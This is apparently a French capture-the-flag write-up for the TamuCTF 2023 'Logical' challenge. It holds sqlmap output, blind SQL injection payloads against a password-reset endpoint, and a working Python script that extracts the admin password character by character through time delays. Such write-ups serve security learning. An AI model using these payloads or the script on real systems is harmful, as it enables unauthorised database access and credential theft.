Cover Image

TamuCTF 2023 - Logical


Énoncé

Dans ce challenge, on nous a donné un accès au lien suivant: http://logical.tamuctf.com/ Sur celui ci il s’agit d’une application qui permet de réinitialiser un mot de passe si on l’a oublié et si notre utilisateur est présent dans leur base de données. Dans la consigne du challenge on nous parle de l’utilisateur admin.

Exploitation

Ce challenge m’a l’air vraiment classique donc j’essaie de récupérer avec BurpSuite la requête pour qu’on puisse l’utiliser avec SQLmap.

Voici le contenu de la requête:

POST /api/chpass HTTP/1.1
Host: logical.tamuctf.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://logical.tamuctf.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
Origin: http://logical.tamuctf.com
Connection: close

username=admin

Et voici le résultat de notre commande SQLmap:

$ sqlmap -r logical.req 
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.7.2#stable}
|_ -| . [,]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:05:44 /2023-04-29/

[17:05:44] [INFO] parsing HTTP request from 'logical.req'
[17:05:44] [INFO] resuming back-end DBMS 'mysql' 
[17:05:44] [INFO] testing connection to the target URL
[17:05:45] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=admin' AND 6669=6669-- SOMN
---
[17:05:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL 5
[17:05:45] [INFO] fetched data logged to text files under '/home/balgogan/.local/share/sqlmap/output/logical.tamuctf.com'

[*] ending @ 17:05:45 /2023-04-29/

L’application est vulnérable à une injection SQL à l’aveugle via les booléens.

Bien sûr, en essayant d’être le plus rapide possible,je décide d’utiliser à nouveau SQLmap pour récupérer le contenu de la base de donnée:

$ sqlmap -r logical.req --dbs
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.2#stable}
|_ -| . [']     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:07:14 /2023-04-29/

[17:07:14] [INFO] parsing HTTP request from 'logical.req'
[17:07:14] [INFO] resuming back-end DBMS 'mysql' 
[17:07:14] [INFO] testing connection to the target URL
[17:07:15] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=admin' AND 6669=6669-- SOMN
---
[17:07:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL 5
[17:07:15] [INFO] fetching database names
[17:07:15] [INFO] fetching number of databases
[17:07:15] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[17:07:15] [INFO] retrieved: 
[17:07:15] [WARNING] turning off pre-connect mechanism because of connection reset(s)
[17:07:15] [CRITICAL] connection reset to the target URL. sqlmap is going to retry the request(s)
[17:07:16] [CRITICAL] connection reset to the target URL

[*] ending @ 17:07:16 /2023-04-29/

Or cela ne ce passe pas comme prévu, puisque le serveur nous refuse de faire l’attaque on obtient des erreur 500.

Là me vient à l’idée de d’abord exploiter manuellement avec burp pour voir quel payload pourrai fonctionner.

Voici le payload qui à fonctionné:

POST /api/chpass HTTP/1.1
Host: logical.tamuctf.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://logical.tamuctf.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
Origin: http://logical.tamuctf.com
Connection: close

username=username=admin' AND 9953=9953  AND (select sleep(5) from users where SUBSTR(password,1,1) = 'g')-- acpR 

Que fait ce payload ?

(select sleep(5) from users where SUBSTR(password,1,1) = 'g'): Cette partie du payload effectue une opération de test sur le premier caractère des mots de passe des utilisateurs. Si le premier caractère du mot de passe d’un utilisateur est ‘g’, la fonction sleep(5) est exécutée, ce qui fait attendre le serveur pendant 5 secondes. Ceci est utilisé pour déterminer si la condition est vraie ou fausse, en mesurant le temps de réponse de la requête.

Dans ce cas là j’ai choisi g parce que le format du flag du CTF est gigem. Donc c’est ce qui m’a permis de confirmer la vulnérabilité et de mettre en place le dump.

Voici un schéma qui explique ce que je vais faire pour extraire la totalité du mot de passe:

Étape 1: Identification de la vulnérabilité
         +-------------------+
         | Application Web   |
         | (vulnérable à     |
         | l'injection SQL)  |
         +-------------------+

Étape 2: Envoi du payload
         +-------------+     Pour chaque position (i) et caractère (c) à tester
         | Attaquant   |------------------------------+
         | (envoie le  |                              |
         |  payload)   |                              |
         +-------------+                              v
                                              +-----------------+
                                              | Requête SQL     |
                                              | (contenant le   |
                                              |  payload)       |
                                              |                 |
                                              |  SELECT * FROM  |
                                              |  users WHERE    |
                                              |  username =     |
                                              |  'admin' AND    |
                                              |  9953=9953 AND  |
                                              |  (SELECT        |
                                              |  sleep(5) FROM  |
                                              |  users WHERE    |
                                              |  SUBSTR(        |
                                              |  password, 1, i)|
                                              |  = c) -- acpR   |
                                              +-----------------+
                                                      ^
Étape 3: Exécution de la requête                      |
         +-------------+                              |
         | Base de     |<-----------------------------+
         | données     |         (temps de réponse)
         | (exécute la |
         |  requête)   |
         +-------------+

Étape 4: Mesure du temps de réponse
         +-------------+
         | Attaquant   |
         | (évalue le  |
         |  temps de   |
         |  réponse)   |
         +-------------+

Étape 5: Reconstruction du mot de passe
         +-------------+
         | Attaquant   |
         | (reconstruit|
         |  le mot de  |
         |  passe)     |
         +-------------+

Voici le code python qui permet d’extraire le mot de passe:

import requests



def main():
	headers = {
		'Host': 'logical.tamuctf.com',
		'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0',
		'Accept': '*/*',
		'Accept-Language': 'fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3',
		'Referer': 'http://logical.tamuctf.com/',
		'Content-Type': 'application/x-www-form-urlencoded',
		'Origin': 'http://logical.tamuctf.com',
		'Connection': 'close',
	}

	timeout = 2
	lower = "abcdefghijlmnopqrstuvwxyz"
	number = "0123456789"
	special = "{}_-"
	wordlist = lower + special + number
	flag = False
	i = 1
	payload = ""

	while not flag:
		found_character = False
		for c in wordlist:
			print(f"Character: {c}, Prefix: {payload}", end="\r")
			data = f"username=admin' AND 9953=9953  AND (select sleep({timeout}) from users where SUBSTR(password,1,{i}) = '{payload+c}')-- acpR ".encode()
			try:
				response = requests.post('http://logical.tamuctf.com/api/chpass', headers=headers, data=data, verify=False, timeout=timeout)
			except:
				payload += c
				i += 1
				found_character = True
				break

		if not found_character:
			flag = True
			print(f"\nFound flag: {payload}")

if __name__ == "__main__":
	main()

En exécutant le programme, en quelques minutes nous obtenons la sortie suivante:

$ python3.10 sqli.py 
Character: 9, Prefix: gigem{bl1nd-1nj3ct10n}
Found flag: gigem{bl1nd-1nj3ct10n}

Le flag est: gigem{bl1nd-1nj3ct10n}